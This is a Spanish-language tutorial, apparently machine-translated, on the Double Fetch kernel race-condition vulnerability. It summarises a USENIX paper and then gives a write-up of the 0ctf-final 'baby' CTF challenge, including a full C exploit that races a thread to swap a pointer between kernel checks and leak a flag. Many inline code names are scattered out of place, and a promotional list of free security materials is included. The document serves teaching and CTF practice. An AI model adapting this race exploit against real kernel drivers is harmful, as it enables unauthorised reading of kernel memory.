prefacio
Double Fetch (Double Fetch) es una vulnerabilidad de competencia condicional. Los documentos relacionados se publican en USENIX. Enlace al documento: https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf
Doble búsqueda
Double Fetch es un tipo de vulnerabilidad del kernel que ocurre cuando el kernel copia datos del espacio del usuario y accede dos veces a la misma parte de la memoria. Como se muestra en la figura a continuación (la imagen es del artículo), cuando el núcleo copia datos del espacio del usuario, la primera copia realizará controles de seguridad y los datos se usarán solo cuando se haga la segunda copia, luego entre la primera copia y la segunda copia Es posible la manipulación malintencionada de datos. Por ejemplo, la longitud que se va a copiar se obtiene del espacio del usuario la primera vez y se verifica la longitud, pero la longitud se copia nuevamente durante la segunda copia y los datos se copian de acuerdo con la longitud. Sin embargo, la longitud en este momento no se ha comprobado, por lo que cuando se modifica la longitud entre la primera copia y la segunda copia, se producirá una vulnerabilidad. Esta vulnerabilidad se llama Double Fetch.
El autor del artículo resume la situación en la que es probable que se produzca una doble búsqueda, como se muestra en la siguiente figura (imagen del artículo). Por lo general, el proceso de usuario se comunica con el núcleo a través de un formato de mensaje específico, y el formato del mensaje generalmente consiste en un encabezado y un cuerpo de mensaje. El encabezado del mensaje contiene algunas propiedades especiales, como la longitud del mensaje, el tipo del mensaje, etc. Luego, el kernel generalmente saca el encabezado del mensaje y ejecuta diferentes ramas de acuerdo con la información en el encabezado del mensaje. Si después de ingresar a la rama, el kernel todavía extrae el encabezado del mensaje y usa los campos usados anteriormente, es muy fácil que ocurra una doble recuperación, porque el programa en modo usuario puede modificar el encabezado del mensaje durante los dos procesos de extracción.
El autor clasifica la escena según el Double Fetch
- selección de tipo
- control de longitud
- copia superficial
selección de tipo
Se selecciona el tipo Double Fetch
, como se muestra a continuación (la imagen es del periódico). Código interceptado de cxgb3 main.c
. Se puede ver que el siguiente código primero copia datos de él a través de lacopy_from_user
función y es la dirección del espacio de usuario. Los procesos subsiguientes serán seleccionados para su ejecución en base a los datos extraídos de ellos . Y en cada sucursal se sacan los datos de la dirección a través de la función para su posterior procesamiento. Si se reutiliza en un procesamiento posterior , causará .useraddr
cmd
useraddr
useraddr
copy_from_user
useraddr
cmd
Double Fetch
selección de longitud
Se selecciona la longitud Double Fetch
, como se muestra a continuación (la imagen es del periódico). Esto es evidente cuando se hace la primera copia tomando los datos copy_from_user
de él , y repitiendo el proceso la segunda vez . Si el valor se modifica entre dos extracciones y los datos se envían a través de la función, dará lugar al envío de la vulnerabilidad, es decir, se puede filtrar una cantidad de datos mayor que el valor original.arg
header.Size
Double Fetch
header.Size
aac_fib_send
header.Size
copia superficial
La copia superficial es la primera copia que simplemente copia el puntero a los datos del usuario en el kernel y luego copia los datos del usuario más tarde. Como se muestra a continuación (la imagen proviene del papel). La primera adquisición es a través del puntero que apunta al puntero de los datos del usuario, y la segunda adquisición también se realiza de esta manera, luego modificando el apuntado del puntero en el intervalo entre el primero y el segundo hará que se modifiquen los datos. .
Por ejemplo, cuando se copia el kernel, la dirección que puede leer los datos del usuario no se copia, pero se copia la dirección que apunta a la dirección, que se muestra en la figura a continuación, por lo que cuando el kernel posterior lee datos, es ptr
siempre Al ptr
obtener, el puntero se modifica en medio de las dos adquisiciones ptr
, y se puede hacer que el núcleo apunte a datos maliciosos.
Resumir el proceso de utilización de Double Fetch
- El kernel obtendrá datos del espacio del usuario y obtendrá datos del mismo espacio dos veces
- En el proceso de dos adquisiciones, no se verifica si los datos adquiridos son consistentes
- Finalmente, en el proceso de dos adquisiciones, los datos en este espacio son manipulados
Ayuda a estudiar ciberseguridad, obtén un conjunto completo de información S letter gratis:
① Mapa mental de la ruta de crecimiento del aprendizaje de ciberseguridad
② Más de 60 kits de herramientas de ciberseguridad clásicas
③ Más de 100 informes de análisis SRC
④ Más de 150 libros electrónicos de tecnología práctica de defensa y ataque de ciberseguridad
⑤ Lo más Guía de examen de certificación CISSP autorizada + Banco de preguntas
⑥ Más de 1800 páginas del Manual de habilidades prácticas de CTF
⑦ La última colección de preguntas de entrevistas de empresas de seguridad de redes (incluidas las respuestas)
⑧ Guía de pruebas de seguridad de clientes de aplicaciones (Android+IOS)
20180ctf-final-bebé
Enlace del tema: https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby
baby_ioctl
Hay una función en el módulo , si rsi
se emitirá el valor de 0x6666 flag
, porque se pasa printk
, necesita pasar dmesg
la salida, si rsi
es 0x1337, pasará una función de verificación, si pasa el proceso de verificación, flag
el valor de Se compara el contenido de la dirección entrante, si el contenido es exactamente el mismo, se emitirá flag
directamente y también se pasará la salida printk
, por lo que debe dmesg
imprimirse.
Luego mire la función de verificación, que es muy simple y acepta tres parámetros, a1
, a2
, a3
, si a1 + a2 < a3
pasa la verificación. El valor de a1 es lo que controlamos, es decir, rdx
el valor del registro, y a3
el valor de a1 se ¤t_task
obtiene a través de .
Se puede encontrar que la dirección obtenida ¤t_task
de0x7ffffffff000
La siguiente figura muestra la distribución de direcciones del espacio del usuario, que puede verse 0x7ffffffff000
como la dirección final, por lo que la prueba pasará incluso si la dirección entrante es una dirección del espacio del usuario, pero la dirección del espacio del kernel entrante no pasará.
La razón de esto es que flag
la cadena está codificada en el controlador.Si el contenido del espacio del núcleo se puede leer, ¿se puede leer directamente? Por lo tanto, esta pregunta es aislada.
Entonces esta pregunta se puede utilizar Double Fetch
para la utilización, centrándose en la parte de detección. El conductor realizará tres detecciones
- Compruebe si la dirección entrante es la dirección del espacio de usuario
- Compruebe si el valor del contenido de la dirección entrante es la dirección del espacio del usuario
- Compruebe si la longitud pasada es
flag
consistente con la longitud de
En general, pasamos una estructura desde el espacio del usuario
typedef struct
{
char *flag_addr;
unsigned long flag_len;
};
Puede ver que la dirección del espacio de usuario se obtiene durante la detección de la pregunta v5
, y luego la dirección del espacio de usuario se obtiene nuevamente durante el proceso de bucle.Durante v5
las dos adquisiciones, no se compara si el valor se ha modificado. , por lo que conducirá a arriba Double Fetch
.
La idea de usar es la siguiente
- En la fase de detección,
v5
utilizamos el valor de la variable del espacio de usuario para la asignación, a saberv5 = buf
- Al entrar en la etapa de comparación,
v5
usamosflag
el valor de la dirección para asignar el valor del valor, es decirv5 = flag
Entonces, ¿cómo obtener el punto de tiempo de entrada en la etapa de comparación? Puede ver que incluso si la comparación falla, no habrá excepción sino un simple retorno. Por lo tanto, podemos iniciar un hilo y modificarlo continuamente v5 = flag
.
...
void *
rewrite_flag_addr(void *arg)
{
pdata data = (pdata)arg;
while(finish == 0)
{
data->flag_addr = (char *)target_addr;
//printf("%p\n",data_flag.flag_addr);
}
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...
El proceso específico es como se muestra en la figura a continuación, la razón para usar subprocesos aquí
- El subproceso principal y el subproceso secundario se ejecutan de forma asíncrona
- información de memoria compartida entre subprocesos
Por lo tanto, se pueden usar otros hilos para modificar la memoria compartida.
experiencia completa
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define MAXSIZE 1024
#define MAXTIME 1000000
unsigned long target_addr;
int finish;
typedef struct
{
char* flag_addr;
unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;
void *
rewrite_flag_addr(void *arg)
{
pdata data = (pdata)arg;
while(finish == 0)
{
data->flag_addr = (char *)target_addr;
//printf("%p\n",data_flag.flag_addr);
}
}
int main()
{
fd = open("/dev/baby", O_RDWR);
__asm(
".intel_syntax noprefix;"
"mov rax, 0x10;"
"mov rdi, fd;"
"mov rsi, 0x6666;"
"syscall;"
".att_syntax;"
);
char buf[MAXSIZE];
char *target;
int count;
int flag = open("/dev/kmsg", O_RDONLY);
if (flag == -1)
printf("open dmesg error");
while ((count = read(flag, buf, MAXSIZE)) > 0)
{
if ((target = strstr(buf, "Your flag is at ")) > 0)
{
target = target + strlen("Your flag is at ");
char *temp = strstr(target, "!");
target[temp - target] = 0;
target_addr = strtoul(target, NULL, 16);
printf("flag address:0x%s\n",target);
printf("flag address:0x%lx\n", target_addr);
break;
}
}
data_flag.flag_addr = buf;
data_flag.flag_len = 33;
pthread_t ntid;
int err;
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
for (int i = 0; i < MAXTIME; i++)
{
ioctl(fd, 0x1337, &data_flag);
data_flag.flag_addr = buf;
//printf("%d\n",i);
}
finish = 1;
pthread_join(ntid, NULL);
printf("end!");
//system("dmesg | grep flag");
}